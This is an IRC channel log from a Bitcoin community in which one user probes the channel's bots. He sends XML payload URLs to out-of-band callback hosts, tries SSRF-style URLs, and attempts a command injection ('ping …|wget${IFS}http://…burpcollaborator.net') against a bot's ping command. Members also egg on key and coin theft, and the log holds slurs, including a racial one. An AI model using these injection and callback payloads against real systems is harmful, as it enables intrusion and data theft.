Show Idle (>14 d.) Chans


← 2018-03-22 | 2018-03-24 →
00:00 ben_vulpes it's !!v douchebag
00:00 ben_vulpes http://deedbot.org/help.html
00:01 douchebag There we go
00:01 douchebag Okay so question about these bots
00:01 douchebag !!deed http://m9w6ub3sm0qzpk1x83zg2hkh78dz1o.burpcollaborator.net/lol.xml
00:01 deedbot Bad URL or network outage.
00:02 douchebag !!subscribe http://m9w6ub3sm0qzpk1x83zg2hkh78dz1o.burpcollaborator.net/lol.xml
00:03 deedbot douchebag subscription to http://m9w6ub3sm0qzpk1x83zg2hkh78dz1o.burpcollaborator.net/lol.xml failed
00:03 ben_vulpes many of these work in pm douchebag
00:04 douchebag Okay, do you want me to do a white box or black box audit?
00:04 trinque o,0
00:04 ben_vulpes i don't much give a shit, take some initiative and do something?
00:04 trinque something other than the xss snore.
00:05 trinque I don't much give a fuck if someone puts a script tag in a deed.
00:05 trinque they're going to what, steal your session on a static site?
00:05 douchebag Okay, I would be most useful if I could view the source of deedbot
00:05 ben_vulpes but trinque what if someone visits a deedbot page and their browser executes it!?!?!
00:06 douchebag What the fuck is your guys deal?
00:06 douchebag How am I supposed to know the site was static?
00:06 ben_vulpes aaahaha
00:06 ben_vulpes WHANGGGGGGGGGG
00:06 douchebag Grow the fuck up
00:07 trinque douchebag: this is not where you parade your idiocy dubbed personality and aspirations and have them validated
00:07 ben_vulpes https://thumbs.gfycat.com/DevotedSeriousButterfly-size_restricted.gif
00:07 trinque this is where you submit and grow, or learn you're not worth it.
00:07 douchebag Regardless of whether or not the javascript could do anything, it still allows HTML injection which can be used to publish fake content.
00:08 ben_vulpes is this like fake news?
00:08 trinque the content was signed, what fake
00:08 douchebag Which can be used for social engineering
00:08 trinque fuck, next we'll be stealing elections
00:08 ben_vulpes trinque: i want northern california
00:08 trinque long as you clear it first, I'll come visit
00:09 ben_vulpes i'm going to need three rail cars of sugar and a fuckton of smallish pvc tubes
00:09 douchebag I'm not here to argue with you children about whether or not you would have fallen for the attack. I provided a valid proof of concept like any professional would do.
00:09 ben_vulpes funny how the twenty year old is fixated on growing up
00:09 trinque starving for it, naturally
00:10 ben_vulpes douchebag: but it doesn't have the ssl lock
00:10 ben_vulpes consumers know not to trust websites without the magic green thingy
00:11 ben_vulpes or do i not understand how fake content works, because actually i'm certain that i don't understand what this gpg-signed fake content is.
00:11 douchebag Listen, I understand that you're all upset that I made you look like an idiot for not sanitizing all user input. These are habits that are picked up after you learn about programming a secure web application.
00:11 ben_vulpes ho ho ho
00:11 asciilifeform douchebag: go ahead and 'socially engineer' people who actually verify the pgp sigs on errything they touch. i'll interestedly watch.
00:12 douchebag asciilifeform: I'm not here to argue or to social engineer you. I provided a VALID proof of concept. Stop bitching about it and fix it.
00:12 asciilifeform first you gotta break it
00:12 asciilifeform before anyone gives a damn re 'fix'
00:12 trinque douchebag: the web as it is ought to burn; the notion that there are any professionals tending the shit adobe is hysterical.
00:13 douchebag adobe?
00:13 ben_vulpes douchebag: what is the concept again that you have proven? i am still waiting for the explanation of what precisely this social engineering attack does.
00:13 ben_vulpes i'm clearly just an amateur, but an advanced security consultant like yourself should have no troubles explaining it to a civvy
00:13 asciilifeform for that matter, why does douchebag settle for small change of www ? a remote ex for trb or even prb will easily bring in enuff loot to buy a battleship. without having to convince anybody, i'll note, of anything.
00:14 asciilifeform to the victor -- the spoils. take'em privkeys.
00:14 douchebag Okay, why do you guys liek arguing so much? Is this why you guys don't get anything done?
00:15 ben_vulpes douchebag: gonna explain, per request, or continue faffing
00:15 ben_vulpes threat model etc, like a Real Professional?
00:16 trinque dispense the food pellet already ben_vulpes. dude said smartwords.
00:16 douchebag I have the feeling that even if I got remote code execution
00:17 ben_vulpes what, we'd argue with your sending btc to yourself?
00:17 douchebag you guys would just be like "Oh well you told us about the RCE and we fixed it before you could do anything with it"
00:17 asciilifeform ben_vulpes: there's quite likely enuff coin just in trb hotwallets, to buy a flotilla. and if you can get to it, it's as yours as your own nose, nobody could do a thing about it. so wtf are you doing fucking with php.
00:17 trinque http://btcbase.org/log/2017-08-31#1707554
00:17 a111 Logged on 2017-08-31 19:11 mircea_popescu: can't say i've encountered that many ; and can say that from actual lived experience, the "thinks he's jeddi" heuristic is a fine indicator for "head so far up ass the net result of sufficient whipping will be soap", ie http://trilema.com/2015/the-anal-child/
00:17 ben_vulpes douchebag: you just don't read do you http://logs.bvulpes.com/trilema?d=2018-3-22#317661
00:17 mimisbrunnr Logged on 2018-03-22 19:33 ben_vulpes: oh and twist, douchebag skip the responsible disclosure fingertrap and fuck 'em hard.
00:18 asciilifeform err, douchebag
00:18 douchebag I read that, but I didn't think you were referring to yourselves
00:18 douchebag So if I can pop any of your boxes and steal bitcoin - that's fair game?
00:18 asciilifeform yes!
00:18 ben_vulpes unlike the rest of the world i hold myself to the standard i hold it to
00:18 ben_vulpes fucking duh?
00:19 douchebag In that case, I'll get right to work
00:19 douchebag is deedbot open source?
00:19 ben_vulpes if trinque likes you
00:19 trinque I don't like you.
00:19 asciilifeform lol
00:19 ben_vulpes ahaha
00:19 douchebag Alright, I don't need the source code to pwn your shit
00:20 trinque (lets see if he can find the food pellets himself!)
00:20 ben_vulpes douchebag: how long do you figure this'll take?
00:20 douchebag It will take as much time as it takes me
00:20 asciilifeform such dedication...
00:22 mircea_popescu http://btcbase.org/log/2018-03-23#1789006 << i r entertaint.
00:22 a111 Logged on 2018-03-23 04:08 douchebag: Which can be used for social engineering
00:24 douchebag !!deed http://ec2-18-216-255-196.us-east-2.compute.amazonaws.com/230OOB/payload.xml
00:24 deedbot Bad URL or network outage.
00:24 mircea_popescu this is pretty lulzy.
00:25 mircea_popescu http://btcbase.org/log/2018-03-23#1789020 << different paradigm, yo. it may be valid over there, but it's not valid over here. because reasons.
00:25 a111 Logged on 2018-03-23 04:12 douchebag: asciilifeform: I'm not here to argue or to social engineer you. I provided a VALID proof of concept. Stop bitching about it and fix it.
00:26 douchebag mircea_popescu: I have an honest question for you
00:26 asciilifeform bbut does it still privilege the speed of light!1!
00:26 mircea_popescu shoot.
00:28 douchebag You're into BDSM and having slaves and such right? Is that what the dudes you got in here are fof?
00:28 douchebag for*
00:28 mircea_popescu no, i don't swing that way. the girls occasionally swoop in, but not commonly.
00:28 ben_vulpes oh for the motherloving fuck hole of sin trb won't sendmany with two outputs to the same address
00:28 mircea_popescu ben_vulpes it can't.
00:28 mircea_popescu look into the datastruct, there's black magick reasons.
00:28 * ben_vulpes thinks
00:29 ben_vulpes i'll take a clue if you have one handy
00:29 mircea_popescu http://btcbase.org/log/2018-03-23#1789025 << incidentally this is very tragically broken. what next, you're going to hold me to show mechanism of action of all poisons too ?
00:29 a111 Logged on 2018-03-23 04:13 ben_vulpes: douchebag: what is the concept again that you have proven? i am still waiting for the explanation of what precisely this social engineering attack does.
00:29 mircea_popescu we don't even fucking know how paracetamol works ffs.
00:31 trinque douchebag: so why would the deed command parse xml, let alone go look up a dtd?
00:31 ben_vulpes mircea_popescu: i'd have settled for a plausible story of social engineering
00:32 mircea_popescu douchebag it will reject unsigned material, look at what deeds it accepted in the past.
00:32 ben_vulpes or read the fucking help page omfg
00:33 trinque hey, he called us fags. can't be that pantsuited.
00:33 trinque curious creature
00:33 ben_vulpes oh yeah im supposed to be upset at the bigotry
00:33 ben_vulpes douchebag: stop being a bigot
00:33 mircea_popescu im starting to understand that "the opposite of talking is not listening, the opposite of talking is waiting for your turn" quip may have been adequate in the early postmodern stage ; but by now it's truly a case of "work efficiency is most work with least read." chucka wins in the end.
00:33 ben_vulpes it's childish
00:34 ben_vulpes amazingly, rtfm only shows up in logs 41 times
00:34 mircea_popescu http://btcbase.org/log/2018-03-23#1789029 << acrually, yes.
00:34 a111 Logged on 2018-03-23 04:14 douchebag: Okay, why do you guys liek arguing so much? Is this why you guys don't get anything done?
00:34 douchebag https://i.imgur.com/2Tn47SJ.png
00:35 douchebag This is just uncalled for
00:35 ben_vulpes so is the kink shaming!
00:36 douchebag How am I kink shaming
00:36 mircea_popescu http://btcbase.org/log/2018-03-23#1789035 << in trb you mean ? not likely.
00:36 a111 Logged on 2018-03-23 04:17 douchebag: you guys would just be like "Oh well you told us about the RCE and we fixed it before you could do anything with it"
00:36 douchebag I just asked a question
00:36 douchebag I think you're projecting
00:36 ben_vulpes kidding, but an understandable confusion
00:37 trinque anyone that wants to pwn deedbot might consider that it's a wrapper around gpg.
00:37 ben_vulpes asciilifeform: do you know anything about this data struct / can't have 2 outputs pointing to the same addr in a transaction mircea_popescu mentioned?
00:37 trinque and given that we're all still relying on it, exploits found and squashed in gpg would be lauded.
00:38 mircea_popescu douchebag there's a lengthy history of people's contributions respek, but they have to be contributory.
00:39 douchebag mircea_popescu: I was just shitposting sir, no need to explain
00:40 douchebag !!deed http://ec2-18-216-255-196.us-east-2.compute.amazonaws.com/230OOB/payload.xml
00:40 deedbot accepted: 1
00:40 mircea_popescu !#s etherape
00:40 a111 17 results for "etherape", http://btcbase.org/log-search?q=etherape
00:40 mircea_popescu about as fair game as it gets ; part and parcel of history by now.
00:40 trinque douchebag: why are you still trying the dtd thing?
00:40 douchebag !!subscribe http://ec2-18-216-255-196.us-east-2.compute.amazonaws.com/230OOB/payload.xml
00:40 deedbot douchebag subscription to http://ec2-18-216-255-196.us-east-2.compute.amazonaws.com/230OOB/payload.xml failed
00:41 douchebag trinque: Because I haven't seen the source code so I don't know if dtd was disabled
00:41 mircea_popescu http://trilema.com/2016/to-the-dao-and-the-ethereum-community-fuck-you/ < item
00:41 mircea_popescu douchebag you realise it rejects unsigned input, do you ?
00:42 mircea_popescu !#s from:deedbot accepted
00:42 a111 382 results for "from:deedbot accepted", http://btcbase.org/log-search?q=from%3Adeedbot%20accepted
00:42 mircea_popescu wait, it doesn't reject unsigned material ?!
00:42 douchebag mircea_popescu: You realize I signed it
00:42 trinque what, of course it does.
00:42 mircea_popescu ah ok.
00:42 trinque he's seeing if the XML parser somewhere pulls external schema files
00:43 trinque douchebag: so perhaps the feeds parser thing does, even. I have no idea. What happens next?
00:43 douchebag At best, local file disclosure. At worst, remote code execution
00:44 mircea_popescu trinque he's not even wrong : someone clicks on the link with a shit browser, gets owned by that shit browser.
00:44 ben_vulpes !!rate douchebag 1 found a couple of unsanitized fields
00:44 deedbot Get your OTP: http://p.bvulpes.com/pastes/JtMC6/?raw=true
00:44 mircea_popescu !!rated douchebag
00:44 deedbot mircea_popescu rated douchebag 1 at 2018/01/15 07:34:46 << hyde.solutions
00:44 trinque this was always the risk with browsers, all of which are shit
00:45 douchebag trinque: Noooo
00:45 ben_vulpes !!v 5ED3EC02EC8E0E2CD0B44A6AB9D3AE484D24C2FEA7F2F0A5929655D4D385E33F
00:45 deedbot ben_vulpes rated douchebag 1 << found a couple of unsanitized fields
00:45 mircea_popescu note that eg trilema (mp-wp, w/e) takes steps to mitigate this. by for instance not permitting html entities in user contributed fields, see ?
00:45 douchebag The XML shit I am doing has nothing to do with the web browser
00:45 douchebag it has to do with the XML parser on the server side
00:45 mircea_popescu douchebag i was extending the discussion.
00:46 * trinque is aware of both of these types of problems
00:46 trinque but then what, now you're on the deedbot server and ?
00:47 mircea_popescu what, making deedbot go "trinque sniffs dirty undies" isn't bereft of lulz value.
00:47 douchebag I would then look around and determine how it could be best leveraged
00:48 trinque mind giving me a sentence that isn't so widely applicable?
00:49 mircea_popescu anyway, what we have here is a tacit miss-standard, and the discussion is probably of most interest to people who aim to make their own blog thing, phf spyked whoever was looking at lisping it. because on one hand there's the older trilema standard that's web compatible, and on the other hand there's the emerging no shits given approach like on the deedbot site say, "what am i going to do now, alter deeds to mitigate sht brow
00:49 mircea_popescu sers ???".
00:49 mircea_popescu this is a source of constant surprise, consider all the time phf sunk into chasing unicode obscura on his logger.
00:50 douchebag trinque: I would reprogram deedbot to become self aware and take over the world
00:50 * trinque declared the line of nomoars pretty far out on this one, aha.
00:50 trinque douchebag: lol
00:51 trinque at any rate I'm not questioning you to make you not diddle the XML holes. in your log reading you might've heard me refer to servers as outdoor toilets.
00:52 mircea_popescu we'll have to come to a unified set of something here in any case. as it stands right now it's not obvious whether one can or can't point shitfox at random republican website ; nor where to look to find out.
00:53 * trinque can trivially make the thing serve up text/plain right now
00:53 trinque but the gentleman's browser on the other side is still the mess it was
00:53 mircea_popescu possibly that's the correct cut of this knot, "if you're not sanitizing force pages be text/plain"
00:54 mircea_popescu trinque yes, but we don't care about that. we just care about our not being dumb.
00:54 mircea_popescu consider something simple : i took pride publicly on how trilema doesn't load google analytics, thereby giving away the usual set of telemetrics to the usg. fine and good. but your site can be coaxed to load ???.burpcollaborator.net by 3rd party ? so every time a "normal" browser goes by it looks up wtf that doctype is and so on ?
00:55 trinque this line of reasoning leads to me going and getting an SSL cert
00:55 trinque because mitm can do the same thing to you
00:56 mircea_popescu hence my comment above,. " we'll have to come to a unified set of something here". just because the line isn't drawn.
00:56 trinque on my end, JS is off and otherwise whitelisted where used.
00:57 mircea_popescu no js required for this.
00:57 trinque thing blocks all external items by origin
00:57 mircea_popescu "modern" or however we shall call the shit browser errs on the side of loading everything it can
00:57 mircea_popescu because it was made by and for idiots from back in the day the web was ~equal to ye olde finger utility.
01:02 mircea_popescu in the end the deep root of http://btcbase.org/log/2018-03-22#1788727 is that all the inept dances html does to permit in-band signalling, so you never know if it's < or &lt; or what, is fundamentally a bad idea.
01:02 a111 Logged on 2018-03-22 17:06 douchebag: Wouldn't it make sense to make sure you're doing something the right way before you go ahead and do it?
01:02 mircea_popescu in the end there's two broken points of old html, not merely the whole "statefulness on stateless protocol" cookies bs ; but also the "will mix code in the data nyah nyah nyah".
01:05 mircea_popescu amusingly enough, the WHOLE UTILITY, and in any case the absolutely only reasons people use, like and like to use the web is specifically because of those two things. which makes naggum's perl rant misplaced : perl exhibits the characteristics he bemoans incidentally ; html is fundamentally build out of them and would not interest any of the webtards if it weren't, because it interests ~for them~ specifically.
01:05 mircea_popescu wut do.
01:05 * mircea_popescu finally understood why the web even took off in the first place, instead of the much saner alternatives at the time available.
01:07 trinque the problem I was driving at was the sign of bad upbringing where I sit here and tell him where the vulns *certainly* are
01:09 trinque entirely separate from "hey trinque can you do something practical while we yet rely on shittech"
01:09 trinque of course, that.
01:09 mircea_popescu myeah
01:09 trinque source code for the item is in the logs, db it uses, blah, blah, blah.
01:18 asciilifeform http://btcbase.org/log/2018-03-23#1789102 << a shitoshiism: >> http://btc.yt/lxr/satoshi/source/src/bitcoinrpc.cpp?v=asciilifeform_add_verifyall_option#0888
01:18 a111 Logged on 2018-03-23 04:37 ben_vulpes: asciilifeform: do you know anything about this data struct / can't have 2 outputs pointing to the same addr in a transaction mircea_popescu mentioned?
01:19 mircea_popescu yes but you can't simply take that out.
01:20 mircea_popescu ends up with cycle further down the line when unpacking a tx
01:20 asciilifeform right, because he used unordered sets
01:21 asciilifeform http://btcbase.org/log/2018-03-23#1789151 << 'sanitization' in the sense of attempting to rescue every possible broken inbandparser is a catastrophically wrong thing.
01:21 a111 Logged on 2018-03-23 04:52 mircea_popescu: we'll have to come to a unified set of something here in any case. as it stands right now it's not obvious whether one can or can't point shitfox at random republican website ; nor where to look to find out.
01:21 asciilifeform there exists for instance the ipnoje, which famously chokes on some particular hindu glyph.
01:22 asciilifeform so, what nao, onus on unicodists to avoid emitting it??
01:22 asciilifeform or why not instead crapple fixes the box. or dies.
01:24 asciilifeform relatedly, recall http://btcbase.org/log/2016-08-01#1512393 incident
01:24 a111 Logged on 2016-08-01 19:51 phf: oh that's beautiful
01:25 trinque oh lol, I'm already serving them up as txt.
01:26 asciilifeform and lemme guess, there is a browser that still parses htmlolade in these ??
01:27 trinque nah, guess I assumed in charity that herr douchebag looked at the thing's output before.
01:27 ben_vulpes asciilifeform: well yes i did find the error message but i am still banging my head on the why of it
01:27 ben_vulpes oh oh
01:28 ben_vulpes i'll look into this unordered sets thing later
01:32 mircea_popescu asciilifeform old firefox certainly does.
01:32 asciilifeform nuts.
01:33 trinque nah, not on something served up as content-type text
01:33 mircea_popescu once the deed is up browsershots.org it lessee
01:37 mircea_popescu http://btcbase.org/log/2016-08-01#1512409 <<
01:37 a111 Logged on 2016-08-01 19:58 mircea_popescu: for... firefox 3 ?!
01:39 trinque http://deedbot.org/bundle-365167.txt << here's one.
01:40 asciilifeform ^ no inbandbarf on any of the browsers i have in arm's reach
01:40 asciilifeform incl crapple
01:41 trinque would be pretty shocking if the web server's defaults didn't serve up txt properly.
01:42 trinque http://browsershots.org/http://deedbot.org/bundle-365167.txt
01:43 trinque neat service.
01:44 deedbot http://deedbot.org/bundle-514765.txt
01:46 asciilifeform in re inbanditry -- recall misfortunate boy without t-cells; ~he~ went in a plastic bubble, observe. him, rather than every possible other people who might sneeze on him.
01:48 trinque douchebag: ^ if you want honest work, I will pay you for a demonstration that you can discover the balance of an arbitrary deedbot wallet user, on the condition that if in one month you can't, you drop this web security herp and take a task from me and complete it.
01:48 trinque bounty is 0.1 bitcoin.
01:52 douchebag one moment
01:52 * trinque to bed. let me know in writing, in a deed.
01:53 * asciilifeform bbl
01:53 douchebag I'll do it
02:06 douchebag !!deed http://w74db17v5sr0atyxkw675l0ex53zro.burpcollaborator.net
02:06 deedbot Bad URL or network outage.
02:14 ben_vulpes mircea_popescu: going to nail down pricing for shells on this machine and then we can provision them, i expect that we can get hanbot a shell tomorrow
02:17 ben_vulpes douchebag: what did you try to deed there?
~ 16 minutes ~
02:34 douchebag testing purposes
02:37 douchebag !!deed http://0:22/
02:37 deedbot Bad URL or network outage.
02:37 douchebag !!subscribe http://0:22/
02:37 deedbot douchebag subscription to http://0:22/ failed
~ 8 hours 26 minutes ~
11:04 douchebag !!deed http://1260283176:4444#@www.google.com/
11:04 deedbot Bad URL or network outage.
11:08 douchebag !!deed http://gtdmsv5woc419x5o8m4wzq0krbx5lu.burpcollaborator.net
11:08 deedbot Bad URL or network outage.
11:08 douchebag !~help
11:08 jhvh1 douchebag: (help [<plugin>] [<command>]) -- This command gives a useful description of what <command> does. <plugin> is only necessary if the command is in more than one plugin. You may also want to use the 'list' command to list all available plugins and commands.
11:08 douchebag !~list
11:08 jhvh1 douchebag: Admin, Alias, AutoMode, Bible, BitcoinData, Channel, Config, DuckDuckGo, GPG, GPGExt, GeoIP, Google, HtmlLogger, IPTools, Isup, Later, Listener, Market, MarketMonitor, MarketMonitorTicker, Misc, NickAuth, Owner, RSS, Seen, Sudo, Unix, UrbanDictionary, User, Utilities, and Whois
11:08 douchebag !~HtmmlLogger
11:08 jhvh1 douchebag: Error: "HtmmlLogger" is not a valid command.
11:09 douchebag !~help HtmlLogger
11:09 jhvh1 douchebag: Error: There is no command "htmllogger". However, "Htmllogger" is the name of a loaded plugin, and you may be able to find its provided commands using 'list Htmllogger'.
11:09 douchebag !~list HtmlLogger
11:09 jhvh1 douchebag: flushlog
11:09 douchebag !~list RSS
11:09 jhvh1 douchebag: add, announce add, announce list, announce remove, info, remove, and rss
11:09 douchebag !~list RSS add
11:10 jhvh1 douchebag: (list [--private] [--unloaded] [<plugin>]) -- Lists the commands available in the given plugin. If no plugin is given, lists the public plugins available. If --private is given, lists the private plugins. If --unloaded is given, it will list available plugins that are not loaded.
11:10 douchebag !~list Unix
11:10 jhvh1 douchebag: call, crypt, errno, fortune, pid, ping, ping6, progstats, shell, spell, sysuname, sysuptime, and wtf
11:10 douchebag !~ping gtdmsv5woc419x5o8m4wzq0krbx5lu.burpcollaborator.net
11:10 jhvh1 pong
11:11 douchebag !~ping
11:11 jhvh1 pong
11:11 douchebag !~unix ping
11:11 jhvh1 douchebag: (unix ping [--c <count>] [--i <interval>] [--t <ttl>] [--W <timeout>] <host or ip>) -- Sends an ICMP echo request to the specified host. The arguments correspond with those listed in ping(8). --c is limited to 10 packets or less (default is 5). --i is limited to 5 or less. --W is limited to 10 or less.
11:12 douchebag !~unix ping uec1h3ej1ncl2pkhl7ovctjaa1gr4g.burpcollaborator.net|wget${IFS}http://uec1h3ej1ncl2pkhl7ovctjaa1gr4g.burpcollaborator.net
11:12 jhvh1 douchebag: Error: Invalid hostname
11:12 douchebag !~unix ping uec1h3ej1ncl2pkhl7ovctjaa1gr4g.burpcollaborator.net
11:12 jhvh1 douchebag: ec2-52-16-21-24.eu-west-1.compute.amazonaws.com (52.16.21.24): 5 packets transmitted, 5 received, 0% packet loss, time 4005ms rtt min/avg/max/mdev = 80.606/80.640/80.688/0.256 ms
11:18 * lobbes amused that all these payload urls are ultimately being forwarded to archive.is o.0.
11:20 lobbes Btw jhvh1 isn't related to deedbot (and, as far as I know, is not on a box with any coin contained within)
11:21 lobbes Check out the logs for 'bot directory'; I think pete_dushenski's page is probably still up
11:22 trinque he's just got such a short attention span he's already given up on deedbot
11:22 BingoBoingo !~later tell jurov http://p.bvulpes.com/pastes/JYKQV/?raw=true
11:22 jhvh1 BingoBoingo: The operation succeeded.
11:22 trinque douchebag: also talk to the damned bots in PM
11:22 lobbes Haha, yeah seriously
11:34 douchebag okay trinque
11:35 danielpbarron !!rate douchebag 1 l0de fan
11:35 deedbot Get your OTP: http://p.bvulpes.com/pastes/fKAT2/?raw=true
11:35 douchebag is !~unix ping 127.0.0.1 the correct syntax?
11:39 trinque douchebag: why are you diddling shinohai's bot instead of mine?
11:40 douchebag Pretty sure I could easily exploit it
11:40 trinque mk. understand I'll negrate you if you go back on our wager.
11:40 douchebag Still doing some thinking of what the best course of action to pwn deedbot will be
11:40 douchebag Yeah no that's fine
11:41 trinque alright then
11:41 douchebag trinque: Could I view deedbots source by any chance?
11:41 douchebag If you want it to be audited a bit more comprehensively
11:42 trinque sources can be found in the logs; search 'em.
11:43 douchebag Well I found both a php version
11:43 douchebag https://github.com/extempore/deedbundler
11:43 douchebag https://github.com/RagnarDanneskjold/deedBot
11:51 BingoBoingo douchebag: The second link is an older incarnation that was implemented by another party
11:56 * trinque encourages the Lords to let the kid grow an attention span and find the links himself.
11:56 douchebag I found the links myself
11:57 douchebag You guys sure do make a lot of assumptions
12:11 deedbot http://qntra.net/2018/03/moves-in-trump-administration-signal-the-remains-of-the-us-moving-into-a-more-aggressive-posture/ << Qntra - Moves In Trump Administration Signal The Remains Of The US Moving Into A More Aggressive Posture
12:15 ben_vulpes trinque: did he ever actually deed the agreement?
12:16 trinque no, he doesn't do anything. "fuck you mom!"
12:17 douchebag Why can't trinque deed it
12:17 douchebag You're the one offering the $
12:17 ben_vulpes dude because those were the terms
12:17 ben_vulpes if you had issue with them you shoulda brought it up then instead of just not doing anything
12:18 douchebag ben_vulpes: Usually I would figure if someone is offering money, they should be the one creating the contract or whatever
12:18 douchebag but sure I guess
12:19 douchebag So one month from today
12:20 douchebag It was after midnight when you made that agreement for me yesterday
12:20 ben_vulpes douchebag: your usuallies aren't going to serve you well here, whoever makes the rules makes the rules
12:20 douchebag not sure if there's a timezone difference
12:20 douchebag ben_vulpes: fuck you, I'm doing it
12:20 mod6 omfg
12:21 ben_vulpes awww
12:21 mod6 stop spamming here douchebag, if you want to test, fine. do it in pm.
12:21 douchebag You guys act so fucking weird
12:21 mod6 Do I want to read all of your testing bullshit?
12:21 mod6 No. I don't.
12:22 douchebag mod6: I'm not talking about you jerkoff
12:22 douchebag Some of these things don't work in PM FYI
12:22 mod6 !!down douchebag
12:22 mod6 I'm tired of this person.
12:22 mod6 Get rid of him.
12:23 ben_vulpes douchebag: there's a thing called "signal to noise ratio", do try not to hurt it. if you must test in public probably announce and apologize for the interruption
12:23 danielpbarron ya imma have to switch him to a -1, he's been just as annoying in the lrh chat
12:23 ben_vulpes this is the sort of place where mircea_popescu kickbans people who join/part too much
12:23 mod6 This guy sends me a "Fuck you" in PM.
12:23 mod6 And he wants to somehow be involved with our republic.
12:23 mod6 This is not how it works.
12:24 ben_vulpes mod6: he's trying to ape the forms without understanding their logic
12:24 mod6 I demand public apologies for calling us all "jerkoffs" "faggots" etc.
12:24 mod6 Or out come the neg ratings.
12:24 douchebag Listen
12:24 mod6 no y
12:24 mod6 u
12:24 douchebag I'm not going to sit around and just get insulted
12:25 douchebag and not say anything back. I'm not anyones bitch
12:25 mod6 When did I insult? Link to log plz.
12:25 douchebag trinque told me I can test his bot. Some of the features don't work in PM
12:25 mod6 WHEN DID I INSULT?
12:25 douchebag "Do I want to read all of your testing bullsit?"
12:25 mod6 TEST HIS BOT SOMEWHERE ELSE.
12:25 douchebag I can
12:25 douchebag t
12:26 douchebag I just explained why
12:26 mod6 Lords and Ladies of the Republic: I do not believe this chamber should be subjected to this abuse. I appeal to you.
12:27 douchebag What abuse?
12:27 mod6 The abuse of spam.
12:27 douchebag Fine I wont
12:27 douchebag calm down
12:27 mod6 I should not be subjected to have to read this.
12:27 asciilifeform mod6: the trapdoor lever's right there
12:27 mod6 I will not calm down, you are wasting my, and everyone who reads this channel's time.
12:28 mod6 If trinque wants you to test, he can set up another venue for this.
12:28 douchebag mod6: trinque told me I can test his bot, so that is what I was doing
12:28 douchebag I wont test it here anymore
12:28 ben_vulpes mod6: negrate him and be done with it
12:28 danielpbarron douchebag, part of the security of the bots in this channel is that they only work in this channel which is moderated quite well
12:28 ben_vulpes douchebag: you then moved on to testing other bots; do those commands also not work in pm?
12:28 asciilifeform !!rate douchebag -1 loud and apparently ineducable kid; invited to either come back with promised wunderwaffen or stfu
12:28 deedbot Get your OTP: http://p.bvulpes.com/pastes/SuhIs/?raw=true
12:29 douchebag Listen I am not going to test the bots in here anymore
12:29 douchebag If I do it again, do whatever the hell it is you want to do
12:29 asciilifeform !!v 3E65BD461F247BA966C32C13ABBE84F3CDC331544D9499D003A8FCA745640201
12:29 deedbot asciilifeform rated douchebag -1 << loud and apparently ineducable kid; invited to either come back with promised wunderwaffen or stfu
12:30 douchebag I don't see why every single thing that happens in this channel has to turn into some big ordeal
12:30 mod6 You are wasting innocent peoples time with your farting, we have more important business to attend to.
12:30 danielpbarron because it is publically logged and more people read it than what you see here
12:31 ben_vulpes douchebag: it's only an ordeal because you dig your heels in when told what to do.
12:31 asciilifeform hey trinque is the bozo ejector wedged or wat
12:31 trinque what bozo ejector?
12:32 asciilifeform the if(sum(rate) <= 0) down(d00d) one
12:32 trinque no such auto-down exists
12:32 trinque someone can issue the command
12:32 asciilifeform aa ty trinque
12:32 asciilifeform !!down douchebag
12:33 mod6 wd, thank you asciilifeform
12:33 asciilifeform i have nfi why this had to wait, lol
12:33 asciilifeform um trinque ?
12:33 ben_vulpes the cheek!
12:33 asciilifeform !!gettrust douchebag
12:33 deedbot L1: -1, L2: 3 by 3 connections.
12:34 asciilifeform !!reputation douchebag
12:34 deedbot http://p.bvulpes.com/pastes/pu44A/?raw=true
12:34 douchebag stop spamming the channe;
12:34 asciilifeform loox like he needs a control shot or 2
12:34 asciilifeform ben_vulpes danielpbarron mircea_popescu ^
12:34 ben_vulpes mhm
12:35 danielpbarron ya i will do, sorry about that
12:35 ben_vulpes !!rate douchebag -1 polished turd of stupidity
12:35 deedbot Get your OTP: http://p.bvulpes.com/pastes/9PCH4/?raw=true
12:35 douchebag gonna root your shit
12:35 asciilifeform douchebag: finally. go, work
12:35 ben_vulpes douchebag: isn't that what you promised to do already?
12:35 ben_vulpes and what you were also told to do?
12:35 douchebag yes
12:35 ben_vulpes why continue with the posturing instead of doing things
12:35 douchebag Thats why im doing it
12:35 asciilifeform 'masochist: beat me, beat me! sadist: no!'
12:36 ben_vulpes !!v 9857F1824DD54DAF9F74912FDBA5A634C63861F5E7F0EC7A35EE94628AB622DC
12:36 deedbot ben_vulpes updated rating of douchebag from 1 to -1 << polished turd of stupidity
12:36 douchebag You guys are distracting me
12:36 douchebag im trying to work
12:36 ben_vulpes douchebag: how you allocate your attention is your own problem
12:36 douchebag why can't we just work on the stuff we need to work on
12:36 douchebag instead of discussing it?
12:36 ben_vulpes http://logs.bvulpes.com/trilema?d=2018-3-23#317862
12:36 mimisbrunnr Logged on 2018-03-23 04:08 douchebag: Okay, why do you guys liek arguing so much? Is this why you guys don't get anything done?
12:37 douchebag Exactly my point
12:37 ben_vulpes having the discipline to engage with trilema appropriately is not a thing humans are born with
12:42 asciilifeform !~seen phf
12:42 asciilifeform !!seen phf
12:42 deedbot 2018/03/08 17:52:20 <phf> lisp failed to even identify the need for ffi, when it was standardized i don't think there even were lisps that could or needed to ffi, since they all ran on lisp machines
12:42 asciilifeform wakeup phf. yer bot ran away.
12:44 douchebag danielpbarron called me the n word
12:45 asciilifeform !!reputation douchebag
12:45 deedbot http://p.bvulpes.com/pastes/XhTIf/?raw=true
12:45 douchebag I don't mind, but I just wanted to make sure that was on the record
12:45 danielpbarron he means nigger, i called him a nigger
12:45 asciilifeform !!down douchebag
12:45 asciilifeform oughta do the job nao.
12:46 ben_vulpes ahahahaha
12:46 asciilifeform and pretty good lastwords.
12:46 ben_vulpes with the fucking tattling, epic
12:46 ben_vulpes you know i think this is actually a devious plot to murder elements of the lordship with excessive laughter
12:47 ben_vulpes because i'm fuckin dying over here
12:47 asciilifeform he oughta join up with that other critter, that orbits ben_vulpes
12:47 asciilifeform what was it, btcvixen ?
12:47 ben_vulpes aha
12:47 asciilifeform whatever happened to it
12:48 ben_vulpes utterly no idea
12:53 deedbot http://trilema.com/2018/frank-the-experimental-biologist/ << Trilema - Frank the experimental biologist
~ 57 minutes ~
13:50 mircea_popescu http://btcbase.org/log/2018-03-23#1789216 << cool.
13:51 mircea_popescu http://btcbase.org/log/2018-03-23#1789245 << do all that in pm will you.
13:52 mircea_popescu http://btcbase.org/log/2018-03-23#1789280 << that's nothing ; bot used to be called assbot.
13:54 lobbes mircea_popescu: phf logbot appears down. You may have missed some lulzy log lines: http://logs.bvulpes.com/trilema
13:54 mircea_popescu a ty
13:55 mircea_popescu i was trying to figure out wtf is going on, which link in the chain is not performing.
